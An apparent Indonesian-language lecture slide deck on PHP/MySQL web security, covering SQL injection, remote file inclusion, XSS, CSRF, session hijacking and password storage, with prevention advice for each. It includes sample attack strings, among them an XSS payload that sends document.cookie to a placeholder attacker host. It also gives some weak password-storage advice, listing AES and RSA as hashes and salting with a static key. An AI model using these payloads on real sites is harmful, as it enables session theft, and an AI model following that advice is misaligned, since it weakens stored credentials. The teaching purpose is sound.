• Tidak ada hasil yang ditemukan

Web Security Studi Kasus: PHP & MySQL. ARGA DINATA 29 September 2014

N/A
N/A
Protected

Academic year: 2021

Membagikan "Web Security Studi Kasus: PHP & MySQL. ARGA DINATA 29 September 2014"

Copied!
50
0
0

Teks penuh

(1)

Web Security

Studi Kasus: PHP & MySQL

ARGA DINATA

(2)

Pendahuluan

Web Security

Goals: menjaga data yang bersifat privat, tetap menjadi privasi

(3)

Issues

Secrets

– Menjaga kerahasiaan informasi

Limited Resources

CPU, memori, disk space, & bandwidth itu

terbatas. Jaga resources ini agar tidak dieksploitasi

Good Netizenship

– Etika profesi, programmer & sysadmin tidak boleh melakukan hal yg merugikan sistem

(4)

Referensi

Pro PHP Security 2nd Edition: Chris Snyder cs. • https://www.owasp.org

(5)

Resiko dan Celah Keamanan

Injection

Remote Execution

Cross-Site Scripting (XSS)

Cross-Site Request Forgery (CSRF)

Authentication & Session

Third Party Components

(6)

“Nothing is 100% Secure”

(7)

SQL Injection

(8)

$username = $_POST[‘username’];

$query = ‚SELECT * FROM pengguna WHERE username = ‘{$username}’‛;

/*

attacker memasukkan ‚arga’ OR ‘1’ = ‘1‛, sehingga query menjadi:

SELECT * FROM pengguna WHERE username = ‘arga’ OR ‘1’ = ‘1’

(9)

SQL Injection

• Tidak hanya $_POST, tapi bisa juga melalui

$_GET

• Yang lebih berbahaya jika injeksi dilakukan pada

(10)

SQL Injection Word List

• https://wfuzz.googlecode.com/svn/trunk/ wordlist/Injections/SQL.txt

(11)

Pencegahan

SQL Injection

Escape karakter khusus menggunakan fungsi

mysql_real_escape_string()

• Agar semakin aman:

– Gunakan prepared statements &

parameterized queries (PDO / MySQLi)

– Cek tipe input dari user dengan fungsi

gettype()

– Pastikan jumlah row pada datasource sudah sesuai

(12)

Prepared Statements &

Parameterized Queries

$mysqli = new mysqli($hostname, $username,

$password, $database);

$nama = $_POST[‘nama’];

$stmt = $mysqli->prepare(‘SELECT * FROM pengguna WHERE nama = ?’);

$stmt->bind_param(‘s’, $nama);

(13)

Tools untuk Pengujian SQL Injection

SQL Power Injector

Pangolin

Web Cruiser

SQL Map

(14)

Code Injection

• Memasukkan script dari host lain melalui

include()

• Misalkan ada URL

http://mysite.com/index.php?content=con tact.php

• Dimana index.php memiliki instruksi

include($_GET[‘content’])

• Attacker memasukkan URL seperti ini:

http://mysite.com/index.php?content=htt p://attackersite.com/injection.php

(15)

Code Injection

• Dengan kasus tsb., attacker bisa memperoleh informasi mengenai spesifikasi server dan PHP dari host menggunakan fungsi phpinfo()

(16)

Pencegahan

Code Injection

• Non-aktifkan parameter allow_url_include

pada php.ini

• Cek halaman sehingga yang dieksekusi hanya halaman yang valid saja

(17)

Remote Execution

• Mencoba melakukan eksekusi script secara langsung melalui fungsi-fungsi berikut:

eval() exec() passthru() proc_open() shell_exec() system()

(18)

Remote Execution

dari

Upload File

• Melalui upload file, attacker dapat

mengunggah script PHP atau file berbahaya yang lainnya

(19)

Pencegahan

Remote Execution

• Minimalisasi penggunaan fungsi-fungsi untuk mengeksekusi shell

• Cek ekstensi dari file-file yang di-upload

• Simpan upload file di luar document root

(20)

Cross-Site Scripting

(XSS)

• Memasukkan client-side script dari website

lain ke dalam website kita

Tag HTML yang bisa diinjeksikan:

<script>

<object>

<applet>

<iframe>

(21)

Cross-Site Scripting

(XSS)

• Apa yang dilakukan oleh script injeksi tsb?

– Mencuri cookies

– Manipulasi DOM

Redirect

– dll...

• Darimana injeksi dilakukan?

– Input user yang bersifat publik, dan script bekerja saat script ditampilkan (contoh: guestbook)

(22)

<style> html { height: 100% } body { height: 100% } </style> <div style=‚ position: absolute; top: 0; left: 0; background: White; width: 100%; height: 100% ‛>

<h1>Situs dalam perbaikan</h1> <a href=‚#‛

onclick=‚javascript:window.location=‘http://attackersite. com/cookies.php?cookie=’+document.cookie;‛>Klik di sini untuk melanjutkan</a>

(23)

Pencegahan XSS

Encode HTML Entities menggunakan fungsi

htmlentities()

• Jika input user mengandung link, buat blacklist

(24)

Tools

untuk

Testing

XSS

Web Cruiser

Zed Attack Proxy (ZAP)

(25)

Cross-Site Request Forgery

(CSRF)

• Akses website dari host lain, tujuannya

melakukan aksi pada website secara otomatis (robot)

(26)

Pencegahan CSRF

• Menggunakan CSRF Token (POST maupun

GET) • Cek HTTP Referrer Challenge-Response: – CAPTCHA – Re-Authentication One-Time Token

(27)

User Authentication

• Buat otentikasi user agar halaman hanya dapat diakses oleh pengguna yang berhak • Untuk menghindari pencurian data &

(28)

Perusak

Website

SPAMMER

– Pengguna yang melakukan posting konten yang bersifat promosi

SCAMMER

– Pengguna yang melakukan posting hal-hal yang melanggar hukum: pornografi, SARA, dll...

TROLL

– Pengguna yang melakukan bullying pada pengguna lain

(29)

Verifikasi Identitas Pengguna

• Simpan identitas pengguna agar:

– Mengurangi pengguna yang merusak

– Menghindari robot

– Jika ada pengrusakan, pengguna dapat dilacak

• Verifikasi dapat dilakukan melalui:

Email

– SMS

(30)

Password

• Simpan password dalam bentuk yang sudah di-hash atau di-enkripsi

• Perhatikan panjang dan kompleksitas

password

• Sediakan fitur untuk mengubah dan reset

(31)

Hash

/ Enkripsi

Password

• Gunakan algoritma kriptografi yang kuat, seperti AES, RSA, atau SHA-256. MD5 dan SHA1 saat ini sudah termasuk yg lemah

• Gunakan algoritma yg sudah umum digunakan • Berikan kunci tambahan (salted)

• Ganti kunci tambahan tersebut secara periodik

(32)

Contoh Penyimpanan

Password

$key = ‘pwd_key_123*’;

$salted_pwd = $key.$password.$email;

(33)

Kriptografi

• Enkripsi, Hash, & Encode:

Enkripsi: merahasikan pesan, dapat dikembalikan ke pesan semula menggunakan dekripsi

Hash: merahasikan pesan, tidak dapat dikembalikan ke pesan semula

Encode: mengubah pesan ke dalam bentuk lain agar dapat dibaca oleh sistem tertentu. Encode tidak digunakan untuk merahasiakan pesan

(34)

Symmetric vs Asymmetric Key

Symmetric Key

– Pengirim dan penerima berbagi kunci rahasia yang sama

– Contoh: 3DES, AES, Blowfish, RC4

Asymmetric Key

– Enkripsi dan dekripsi memiliki kunci masing-masing

(35)

User Access Control

Interface yang berbeda-beda • User Group

(36)

User Log

Apache Access Log:

– Linux: /var/log/httpd/apache-access_log/

– Windows: /apache/logs/

• Simpan log pengguna:

Session ID

Date Time

User ID

(37)

Session

• Properti dari session:

Session Key / Session ID

Session Name

Session Length

Session Entropy

(38)

Session Hijacking

• Mencuri Session ID sehingga attacker bisa masuk ke halaman yg sama dengan victim

• Pencurian bisa dilakukan dengan:

Packet Sniffing

XSS Attack

Man-in-the-Middle Attack

(39)
(40)
(41)
(42)

Man-in-the-Browser

• Hampir sama dengan Man-in-the-Middle

Attack, tetapi interupsi dilakukan oleh Trojan Horse yg menginfeksi web browser

(43)

Session Fixation

• Membuat victim menggunakan Session ID

yang telah diatur oleh attacker

• Caranya dengan mengirimkan link yang melakukan assignment cookie di victim

(44)
(45)

Pencegahan Session Hijacking & Fixation • Buat Session ID baru setiap pengguna login

• Ganti nama session (default: PHPSESSID)

• Simpan informasi user agent dan IP Address, cocokkan ketika ada request halaman

(46)

Third Party Components

• Penggunaan komponen developer lain

memiliki resiko dalam keamanan, terutama yang bersifat open source

• Hampir tidak mungkin kita tidak

menggunakan komponen pihak lain, jadi solusinya adalah tetap update untuk

(47)

PHP

Configuration

register_global = Off • allow_url_fopen = Off • allow_url_include = Off • error_reporting = E_ALL • log_errors = On

display_errors = On (development), Off (production)

magic_quotes_gpc = Off

post_max_size, upload_max_filesize, memory_limit

(48)

Secure Socket Layer

(SSL)

• Protokol yang menggunakan kriptografi dalam pengiriman data, agar komunikasi lebih aman • Sekarang Transport Layer Security

• Kriptografi menggunakan kunci asimetris (asymmetric key)

(49)
(50)

Referensi

Dokumen terkait

Penggunaan pembelajaran kontekstual memiliki potensi tidak hanya untuk mengembangkan ranah pengetahuan dan keterampilan proses, tetapi juga untuk mengembangkan sikap, nilai,

Hasil penelitian di lapangan juga mendukung pen- dapat Zohar dan Marshall (2007) yang menyatakan bahwa seorang pemimpin dituntut bertindak berdasar- kan motivasi tinggi, yang

Berdasarkan analisis Revealed Comparative Advantage (RCA) selama tahun 2009 hingga tahun 2014, produk olahan kakao Indonesia seperti biji kakao, pasta cokelat,

PERKEMBANGAN KELUARGA PUNYA REMAJA YG AKTIF KEGIATAN BKR s.d.. KELUARGA PUNYA REMAJA AKTIF KEG.. CAPAIAN KLMPK UPPKS MASUK DATA BASIS s.d.. KELOMPOK UPPKS YANG MENDAPAT

berjudul “Faktor - Faktor Yang Mempengaruhi Independensi Akuntan Publik” yang menggunakan ikatan keuangan dan hubungan usaha pada klien, pemberian jasa lain selain jasa

Penggunaan model pembelajaran problem solving disertai media animasi di- katakan efektif meningkatkan keterampilan menyimpulkan dan penguasaan konsep siswa apabila hasil

Sungai Liku, Kecamatan Paloh, kabupaten Sambas, metode yang digunakan dalam penelitian ini adalah klasifikasi terbimbing (supervised classification) , Ground Ceck lapangan

Pada stasiun III kepadatan relatif tertinggi didapatkan dari genus Thiara 64,88%, kehadiran genus ini mendominasi ketiga stasiun karena substrat dasar Sungai Batang